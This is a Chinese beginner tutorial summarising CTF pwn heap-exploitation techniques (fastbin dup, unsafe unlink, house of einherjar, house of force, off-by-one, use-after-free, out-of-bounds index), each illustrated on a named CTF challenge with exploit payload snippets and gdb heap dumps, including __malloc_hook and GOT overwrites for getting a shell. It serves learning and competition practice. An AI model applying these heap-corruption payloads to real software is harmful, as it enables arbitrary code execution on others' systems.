新手科普 | CTF PWN堆溢出总结 – 作者:暴龙兽-安全小百科

学习汇总

序言

自从加入RTIS交流群, 在7o8v师傅，gd大佬的帮助下，PWN学习之路进入加速度。下面是八周学习的总结，基本上是按照how2heap路线走的。由于八周内容全写，篇幅太长，这里只讲述每道PWN题所用到的一个知识点。

第一节(fastbin_dup_into_stack)

知识点

利用fastbin之间,单链表的连接的特性, 溢出修改下一个free chunk的地址, 造成任意地址写.

例子: 0CTF 2017 Babyheap

Fill功能可以填充任意长字节, 漏洞在此.

leak memory: libc address

modify __malloc_hook内容为one_gadget

getshell

重点: fastbin attack

First Step

alloc(0x60)
alloc(0x40)
0x56144ab7e000: 0x0000000000000000  0x0000000000000071 --> chunk0 header
0x56144ab7e010: 0x0000000000000000  0x0000000000000000
0x56144ab7e020: 0x0000000000000000  0x0000000000000000
0x56144ab7e030: 0x0000000000000000  0x0000000000000000
0x56144ab7e040: 0x0000000000000000  0x0000000000000000
0x56144ab7e050: 0x0000000000000000  0x0000000000000000
0x56144ab7e060: 0x0000000000000000  0x0000000000000000
0x56144ab7e070: 0x0000000000000000  0x0000000000000051 --> chunk1 header
0x56144ab7e080: 0x0000000000000000  0x0000000000000000
0x56144ab7e090: 0x0000000000000000  0x0000000000000000

Second Step

Fill(0x10, 0x60 + 0x10, "A" * 0x60 + p64(0) + p64(0x71)) --> 开始破坏chunk1 header
0x56144ab7e000: 0x0000000000000000  0x0000000000000071
0x56144ab7e010: 0x6161616161616161  0x6161616161616161
0x56144ab7e020: 0x6161616161616161  0x6161616161616161
0x56144ab7e030: 0x6161616161616161  0x6161616161616161
0x56144ab7e040: 0x6161616161616161  0x6161616161616161
0x56144ab7e050: 0x6161616161616161  0x6161616161616161
0x56144ab7e060: 0x6161616161616161  0x6161616161616161
0x56144ab7e070: 0x0000000000000000  0x0000000000000071  --> 已修改为0x71
0x56144ab7e080: 0x0000000000000000  0x0000000000000000

Third Step: 申请small chunk

0x56144ab7e060: 0x6161616161616161  0x6161616161616161
0x56144ab7e070: 0x0000000000000000  0x0000000000000071
0x56144ab7e080: 0x0000000000000000  0x0000000000000000
0x56144ab7e090: 0x0000000000000000  0x0000000000000000
0x56144ab7e0a0: 0x0000000000000000  0x0000000000000000
0x56144ab7e0b0: 0x0000000000000000  0x0000000000000000
0x56144ab7e0c0: 0x0000000000000000  0x0000000000000111 --> chunk2 header

Fouth Step: 破坏chunk2 header, 最后目的是释放chunk2

Fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71)) --> fake chunk header
Free(1)
Alloc(0x60)
0x56144ab7e000: 0x0000000000000000  0x0000000000000071
......
0x56144ab7e060: 0x6161616161616161  0x6161616161616161
0x56144ab7e070: 0x0000000000000000  0x0000000000000071
......
0x56144ab7e0e0: 0x0000000000000000  0x0000000000000071 --> fake chunk header

Fifth Step: 修复chunk2 header, free

Fill(1, 0x40 + 0x10, 'b' * 0x60 + p64(0) + p64(0x111)) --> 修复chunk2
Free(2)
Dump(1)
0x56144ab7e060: 0x6161616161616161  0x6161616161616161
0x56144ab7e070: 0x0000000000000000  0x0000000000000071
0x56144ab7e080: 0x6262626262626262  0x6262626262626262
0x56144ab7e090: 0x6262626262626262  0x6262626262626262
......
0x56144ab7e0c0: 0x0000000000000000  0x0000000000000111
0x56144ab7e0d0: 0x00007f26abbacb78  0x00007f26abbacb78 --> 指向libc中的某地址(程序使用的是write, 将内容全部打印, 不会出现\x00截止)
0x56144ab7e0e0: 0x0000000000000000  0x0000000000000071

Sixth Step: 修改下一个free chunk为__malloc_hook

Free(1)　　
payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 27 - 0x8) + p64(0) # fake 　  　chunk + 修改修改的地址Fill(0, 0x60 + 0x10 + 0x10, payload)

详解解析

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第二节(fastbin_dup_consolidate)

知识点

当topchunk size不足以满足申请的大小, 会合并fastbin的空闲chunk. 如若在不足: 主分配区调用sbrk, 增加top chunk大小; 非主分配区调用mmap来分配一个新的sub-heap.

got表中存放着函数的真实地址, 函数调用会去got表中查找函数地址, 然后跳转.修改got表对应函数的地址, 达到getshell目的.

double free: 释放两次内存, 可与Unlink搭配实现任意地址读写.

栗子:HITCON CTF 2016 SleepyHolder

程序分析

可以选择申请40, 4000, 400000三种不同大小的堆块, 每种只能申请一个. 400000会清空fastbin. 删除: 将相应的标志位置位0修改, 不检查相应的指针是否已释放, 造成Double Free.

重点

演示过程:

申请small secret、big secret

删除small secret

申请large secret

申请large secret之前

之后

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第三节(unsafe_unlink)

知识点

unlink: 当freer两个相邻的small chunk时, 会发生合并的特性来攻击的. 合并后的chunk块放在双向链表构成的unsorted bin.

栗子:HITCON CTF 2014 stkof

程序分析

alloc:输入分配内存的大小

read_in：写入任意长度, 漏洞在此

free：useless

重点

绕过size检查绕过指针检查

绕过size

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
  malloc_printerr ("corrupted size vs. prev_size");

过程捋一下

> P=0x1307540, chunksize(P) = 0x20
> nextchunk(P) = 0x1307540 + 0x20 = 0x1307540 + 0x20
> prev_size = [0x1307540 + 0x20] = 0x20
> 0x20 = 0x20 , 绕过, 就是fake_chunk, 很好绕过的.

绕过指针检查

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr ("corrupted double-linked list");                              \

过程捋一下

> FD = [0x1307540 + 0x10] = 0x602138,
> BK = [0x1307540 + 0x18] = 0x602140
> FD->bk = [0x602138 + 0x18] = 0x1307540,
> BK-> fd = [0x602140 + 0x10] = 0x1307540
> P = 0x1307540
> FD->bk != P 为false
> BK->fd != P 为false
> 成功绕过

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第四节(house_of_einherjar)

知识点

house_of_einherjar：该对利用技术可以强制使得malloc返回一个几乎任意地址的chunk, 主要在于滥用free中的后向合并.

栗子:Seccon CTF 2016 tinypad

程序分析

Add memo

Delete memo: 将指针释放, size位清零, 但没有将对应的指针清零.

Edit memo: 存在一个Off_By_One漏洞.

Quit

重点

通过利用Off_By_One和unlink, 修改unsorted bin的指针

1. 泄露

add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3)
delete(1)

2. house_of_einherjar

add(0x18, "A"*0x18)
add(0x100, "B"*0xf8 + p64(0x11))
add(0x100, "C"*0x100)
add(0x100, "D"*0x100)
tinypad = 0x602040
offset = heap + 0x20 - 0x602040 - 0x20
fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2
edit(3, "D"*0x20 + fake_chunk)
zero_byte_number = 8 - len(p64(offset).strip("\x00"))
'''
循环edit的原因是stcpy()会因为空子节而停止copy, 但每次读取都会将最后一个字节变为NULL, 这样就可以用NULL逐一覆盖, 使2号chunk的prev_size为offset
'''
for i in range(zero_byte_number+1):
  data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')
  edit(1, data)
delete(2)
edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2) #修复unsorted bin

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第五节(house_of_force)

知识点

house_of_force:溢出top chunk, 返回任意地址.

top chunk:当bins 和 fastbin不能满足申请的大小时, 就会从top chunk分割相应的大小给用户. 例如: 第一次malloc时, fastbin 和 bins中并没有相应的空闲的chunk, 就会从top chunk中分配.

栗子:BCTF 2016 bcloud

程序分析

Welcome: 输入name, host, org.漏洞在此, 构造一定的输入, 可使程序复制过量的数据到相应的堆空间, 可修改top chunk size

New Note: malloc

Show Note: display

Edit Note: update

Delete: free

重点

name = "Bill"*0x10
org = "A"*0x40
host = p32(0xffffffff)
welcome(name, org, host)

前

后

原因

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第六节(off_by_one)

知识点

Off_By_One: 意思就是我们能够多写入一个字节, 不要小看这个字节,有时候能够修改chunk header的状态.

栗子: Asis CTF 2016 b00ks

程序分析

Welcome: 输入一个author name, 这个地方存在Off_By_One漏洞, 溢出一个空子节.

Create a book: 创建一本书

Delete

Edit a book

Print book detail

Change current author name(再次编辑给了我们修改book指针的机会)Exit

漏洞位置

第一个影响: 信息泄露

第二个影响: 会修改堆地址

思路: 在修改后的堆地址布置一个fake chunk, 可以修改任意地址.

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 文件详解

第七节(UAF)

知识点

Use After Free: 内存被释放后, 其对应指针没有被置为NULL, 再次使用有可能使程序崩溃. realloc: 重新修改分配空间, 源代码可以在文件下载链接中下载, 这个源代码不是很长.

申请的比原来大, 释放原来的指针, 重新申请内存.

申请的比原来小, 返回原始指针.

栗子:CISCN CTF 2018 task_supermarket

程序分析

struct node{
    char name[16];
    int price;
    int size;
    char* des;
}commodity[15];

add

delete

list

change price

change description: 漏洞在此.当我们申请一个比原来的堆大的, 程序并没有更新原来的结构体中的des指针.若我们此时再次申请一个node[1], 而这个node[1]刚好落在node[0]的des区域, 我们就可以通过编辑node[0]的des来控制node[1].

思路验证

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第八节(数组越界)

知识点

数组越界: 就是程序不见验证index的正负, 可能会出现向前覆盖的情况.例如:char *s = “hello,world”; 试一下 s[-1]

栗子: CISCN 2018 task_note_service

程序分析

add note: 没有对输入的index, 进行正负判断, 导致数组越界

show note

edit note

delete note

思路

修改free@got的值为shellcode的地址.

修改之前

修改之后

详细解析

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一点心得

个人觉得以上这些PWN题, 并不是单纯的使用一个点就能解出来的, 我只是挑其中一点举例子而已, 这点没必要纠结.

学习汇总

序言

第一节(fastbin_dup_into_stack)

第二节(fastbin_dup_consolidate)

第三节(unsafe_unlink)

第四节(house_of_einherjar)

第五节(house_of_force)

第六节(off_by_one)

第七节(UAF)

第八节(数组越界)

一点心得

相关链接

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